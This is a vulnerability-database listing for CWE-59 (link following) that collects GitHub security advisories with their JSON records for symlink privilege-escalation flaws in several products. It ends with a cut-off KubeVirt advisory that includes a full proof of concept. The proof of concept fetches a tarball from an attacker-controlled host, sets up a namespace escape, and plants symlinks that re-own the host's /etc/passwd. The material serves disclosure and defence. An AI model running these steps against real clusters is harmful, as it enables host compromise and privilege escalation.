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Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

2194 vulnerabilities reference this CWE, most recent first.

GHSA-2P5V-3F2J-GQ28

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

G DATA Total Security Scan Server Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of G DATA Total Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the G DATA AntiVirus Scan Server. By creating a symbolic link, an attacker can abuse the service to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23381.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "G DATA Total Security Scan Server Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of G DATA Total Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the G DATA AntiVirus Scan Server. By creating a symbolic link, an attacker can abuse the service to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23381.",
  "id": "GHSA-2p5v-3f2j-gq28",
  "modified": "2024-11-22T21:32:16Z",
  "published": "2024-11-22T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30377"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1159"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PF3-GJP3-CX53

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-08-31 00:00
VLAI
Details

By exploiting a time of check to time of use (TOCTOU) race condition during the Endpoint Security for Linux Threat Prevention and Firewall (ENSL TP/FW) installation process, a local user can perform a privilege escalation attack to obtain administrator privileges for the purpose of executing arbitrary code through insecure use of predictable temporary file locations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-23892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-12T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "By exploiting a time of check to time of use (TOCTOU) race condition during the Endpoint Security for Linux Threat Prevention and Firewall (ENSL TP/FW) installation process, a local user can perform a privilege escalation attack to obtain administrator privileges for the purpose of executing arbitrary code through insecure use of predictable temporary file locations.",
  "id": "GHSA-2pf3-gjp3-cx53",
  "modified": "2022-08-31T00:00:18Z",
  "published": "2022-05-24T19:02:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23892"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10355"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PFR-2XMV-J9V4

Vulnerability from github – Published: 2022-09-20 00:00 – Updated: 2022-09-22 00:00
VLAI
Details

A link following local privilege escalation vulnerability in Trend Micro Apex One and Trend Micro Apex One as a Service servers could allow a local attacker to abuse an insecure directory that could allow a low-privileged user to run arbitrary code with elevated privileges. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-19T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A link following local privilege escalation vulnerability in Trend Micro Apex One and Trend Micro Apex One as a Service servers could allow a local attacker to abuse an insecure directory that could allow a low-privileged user to run arbitrary code with elevated privileges. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
  "id": "GHSA-2pfr-2xmv-j9v4",
  "modified": "2022-09-22T00:00:31Z",
  "published": "2022-09-20T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40143"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/000291528"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1191"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PQX-426G-HRMC

Vulnerability from github – Published: 2022-05-17 02:00 – Updated: 2022-05-17 02:00
VLAI
Details

The (1) bin/invscoutClient_VPD_Survey and (2) sbin/invscout_lsvpd programs in invscout.rte before 2.2.0.19 on IBM AIX 7.1, 6.1, 5.3, and earlier allow local users to delete arbitrary files, or trigger inventory scout operations on arbitrary files, via a symlink attack on an unspecified file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-1384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-01-04T03:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The (1) bin/invscoutClient_VPD_Survey and (2) sbin/invscout_lsvpd programs in invscout.rte before 2.2.0.19 on IBM AIX 7.1, 6.1, 5.3, and earlier allow local users to delete arbitrary files, or trigger inventory scout operations on arbitrary files, via a symlink attack on an unspecified file.",
  "id": "GHSA-2pqx-426g-hrmc",
  "modified": "2022-05-17T02:00:43Z",
  "published": "2022-05-17T02:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1384"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/71615"
    },
    {
      "type": "WEB",
      "url": "http://aix.software.ibm.com/aix/efixes/security/invscout_advisory2.asc"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/47222"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=isg1IV11643"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/51059"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/51083"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2Q7W-JPCQ-P6GW

Vulnerability from github – Published: 2023-04-27 21:30 – Updated: 2024-04-04 03:42
VLAI
Details

Docker Desktop for Windows before 4.6.0 allows attackers to overwrite any file through a symlink attack on the hyperv/create dockerBackendV2 API by controlling the DataFolder parameter for DockerDesktop.vhdx, a similar issue to CVE-2022-31647.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-34292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-27T20:15:40Z",
    "severity": "HIGH"
  },
  "details": "Docker Desktop for Windows before 4.6.0 allows attackers to overwrite any file through a symlink attack on the hyperv/create dockerBackendV2 API by controlling the DataFolder parameter for DockerDesktop.vhdx, a similar issue to CVE-2022-31647.",
  "id": "GHSA-2q7w-jpcq-p6gw",
  "modified": "2024-04-04T03:42:58Z",
  "published": "2023-04-27T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34292"
    },
    {
      "type": "WEB",
      "url": "https://docs.docker.com/desktop/release-notes/#docker-desktop-460"
    },
    {
      "type": "WEB",
      "url": "https://www.cyberark.com/resources/threat-research-blog/breaking-docker-named-pipes-systematically-docker-desktop-privilege-escalation-part-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2Q9M-V2C6-Q9RC

Vulnerability from github – Published: 2022-02-25 00:01 – Updated: 2022-03-04 00:00
VLAI
Details

A link following privilege escalation vulnerability in Trend Micro Antivirus for Max 11.0.2150 and below could allow a local attacker to modify a file during the update process and escalate their privileges. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-24671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-24T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "A link following privilege escalation vulnerability in Trend Micro Antivirus for Max 11.0.2150 and below could allow a local attacker to modify a file during the update process and escalate their privileges. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
  "id": "GHSA-2q9m-v2c6-q9rc",
  "modified": "2022-03-04T00:00:36Z",
  "published": "2022-02-25T00:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24671"
    },
    {
      "type": "WEB",
      "url": "https://helpcenter.trendmicro.com/en-us/article/TMKA-10937"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-371"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2QXV-MGHJ-HFHR

Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2022-04-23 00:40
VLAI
Details

The init script in the Debian x11-common package before 1:7.6+12 is vulnerable to a symlink attack that can lead to a privilege escalation during package installation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-1093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-21T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The init script in the Debian x11-common package before 1:7.6+12 is vulnerable to a symlink attack that can lead to a privilege escalation during package installation.",
  "id": "GHSA-2qxv-mghj-hfhr",
  "modified": "2022-04-23T00:40:47Z",
  "published": "2022-04-23T00:40:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1093"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2012-1093"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2012-1093"
    },
    {
      "type": "WEB",
      "url": "http://vladz.devzero.fr/012_x11-common-vuln.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/02/29/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/03/01/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2R4R-5X78-MVQF

Vulnerability from github – Published: 2025-11-06 23:36 – Updated: 2025-11-17 21:41
VLAI
Summary
KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes
Details

Summary

_Short summary of the problem. Make the impact and severity as clear as possible.

It is possible to trick the virt-handler component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID 107 due to mishandling of symlinks when determining the root mount of a virt-launcher pod.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

In the current implementation, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:

  1. A symbolic link (launcher-sock) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.
  2. Another symbolic link (disk.img) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem.
  3. As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107.

It is assumed that an attacker has access to a virt-launcher pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the qemu user (UID=107). It is also assumed that they can create unprivileged user namespaces:

admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1

The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.

# Download an container file system from an attacker-controlled location
qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar
# Create a directory and extract the file system in it
qemu-compromised@minikube:~$  mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine
# Create a MOUNT and remapped USER namespace environment and execute a shell process in it
qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh
# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.
# The user is root in its new USER namesapce
root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root
# Swap the current root of the process and store the old one within a directory
root@minikube:~$ pivot_root . hostfs_root 
root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin
# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount
root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \
mkdir -p "${PVC_PATH}" && \
cd "${PVC_PATH}"
# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory
root@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img
# Create the socket wich will confuse the isolator detector and start listening on it
root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -

After the environment is set, the launcher-sock in the virt-launcher container should be replaced with a symlink to ../../../../../../../../../proc/2245509/root/tmp/bad.sock (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:

//pkg/virt-handler/vm.go

func (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {
  // ...
  //!!! MK: the change should happen here before executing the below line !!!
  isolationRes, err := c.podIsolationDetector.Detect(vmi)
        if err != nil {
            return fmt.Errorf(failedDetectIsolationFmt, err)
        }
        virtLauncherRootMount, err := isolationRes.MountRoot()
        if err != nil {
            return err
        }
        // ...

        // initialize disks images for empty PVC
        hostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)
        // MK: here the permissions are changed
        err = hostDiskCreator.Create(vmi)
        if err != nil {
            return fmt.Errorf("preparing host-disks failed: %v", err)
        }
    // ...

The manifest of the #acr("vmi") which is going to trigger the bug is:

# The PVC will be used for the `disk.img` related bug
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: corrupted-pvc
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 500Mi
---
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  labels:
  name: launcher-symlink-confusion
spec:
  domain:
    devices:
      disks:
      - name: containerdisk
        disk:
          bus: virtio
      - name: corrupted-pvc
        disk:
          bus: virtio
      - name: cloudinitdisk
        disk:
          bus: virtio
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - name: containerdisk
    containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
  - name: corrupted-pvc
    persistentVolumeClaim:
      claimName: corrupted-pvc
  - name: cloudinitdisk      
    cloudInitNoCloud:
      userDataBase64: SGkuXG4=

Just before the line is executed, the attacker should replace the launcher-sock with a symlink to the bad.sock controlled by the isolated process:

# the namespaced process controlled by the attacker has pid=2245509
qemu-compromised@minikube:~$ p=$(pgrep -af "/usr/bin/virt-launcher" | grep -v virt-launcher-monitor | awk '{print $1}') &&  ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock

Upon successful exploitation, virt-launcher connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's /etc/passwd file:

# `virt-launcher` connects successfully
root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -
...
2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 "<anon>" on AF=1 "/tmp/bad.sock"
2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010
2025/05/27 17:17:35 socat[2245509] N listening on AF=1 "/tmp/bad.sock"
2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio
2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]
PRI * HTTP/2.0
admin@minikube:~$ ls -al /etc/passwd
-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd

admin@minikube:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
compromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash

The attacker controlling an unprivileged user can now update the contents of the file.

Impact

What kind of vulnerability is it? Who is impacted?

This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:36:39Z",
    "nvd_published_at": "2025-11-07T23:15:46Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nIt is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIn the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. \nTo successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod.\n\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nIn this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:\n\n1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.\n2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem.\n3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh).\n\n\nIt is assumed that an attacker has access to a `virt-launcher` pod\u0027s file system (for example, [obtained using another vulnerability](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces:\n\n```bash\nadmin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1\n```\n\nThe below is inspired by [an article](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.\n\n```bash\n# Download an container file system from an attacker-controlled location\nqemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar\n# Create a directory and extract the file system in it\nqemu-compromised@minikube:~$  mkdir rootfs_alpine \u0026\u0026 tar -xf augmented-alpine.tar -C rootfs_alpine\n# Create a MOUNT and remapped USER namespace environment and execute a shell process in it\nqemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh\n# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.\n# The user is root in its new USER namesapce\nroot@minikube:~$ mount --bind rootfs_alpine rootfs_alpine \u0026\u0026 cd rootfs_alpine \u0026\u0026 mkdir hostfs_root\n# Swap the current root of the process and store the old one within a directory\nroot@minikube:~$ pivot_root . hostfs_root \nroot@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin\n# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount\nroot@minikube:~$ PVC_PATH=\"/var/run/kubevirt-private/vmi-disks/corrupted-pvc\" \u0026\u0026 \\\nmkdir -p \"${PVC_PATH}\" \u0026\u0026 \\\ncd \"${PVC_PATH}\"\n# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory\nroot@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img\n# Create the socket wich will confuse the isolator detector and start listening on it\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n```\n\n\nAfter the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `../../../../../../../../../proc/2245509/root/tmp/bad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:\n\n```go\n//pkg/virt-handler/vm.go\n\nfunc (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {\n  // ...\n  //!!! MK: the change should happen here before executing the below line !!!\n  isolationRes, err := c.podIsolationDetector.Detect(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(failedDetectIsolationFmt, err)\n\t\t}\n\t\tvirtLauncherRootMount, err := isolationRes.MountRoot()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// ...\n\n\t\t// initialize disks images for empty PVC\n\t\thostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)\n\t\t// MK: here the permissions are changed\n\t\terr = hostDiskCreator.Create(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"preparing host-disks failed: %v\", err)\n\t\t}\n    // ...\n\n```\n\nThe manifest of the #acr(\"vmi\") which is going to trigger the bug is:\n\n```yaml\n# The PVC will be used for the `disk.img` related bug\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: corrupted-pvc\nspec:\n  accessModes:\n    - ReadWriteMany\n  resources:\n    requests:\n      storage: 500Mi\n---\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  name: launcher-symlink-confusion\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n      - name: corrupted-pvc\n        disk:\n          bus: virtio\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: corrupted-pvc\n    persistentVolumeClaim:\n      claimName: corrupted-pvc\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\nJust before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process:\n\n```bash\n# the namespaced process controlled by the attacker has pid=2245509\nqemu-compromised@minikube:~$ p=$(pgrep -af \"/usr/bin/virt-launcher\" | grep -v virt-launcher-monitor | awk \u0027{print $1}\u0027) \u0026\u0026  ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock\n```\n\n\nUpon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host\u0027s `/etc/passwd` file:\n\n\n```bash\n# `virt-launcher` connects successfully\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n...\n2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 \"\u003canon\u003e\" on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010\n2025/05/27 17:17:35 socat[2245509] N listening on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio\n2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]\nPRI * HTTP/2.0\n```\n\n```bash\nadmin@minikube:~$ ls -al /etc/passwd\n-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd\n\nadmin@minikube:~$ cat /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\ncompromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash\n```\n\nThe attacker controlling an unprivileged user can now update the contents of the file.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.",
  "id": "GHSA-2r4r-5x78-mvqf",
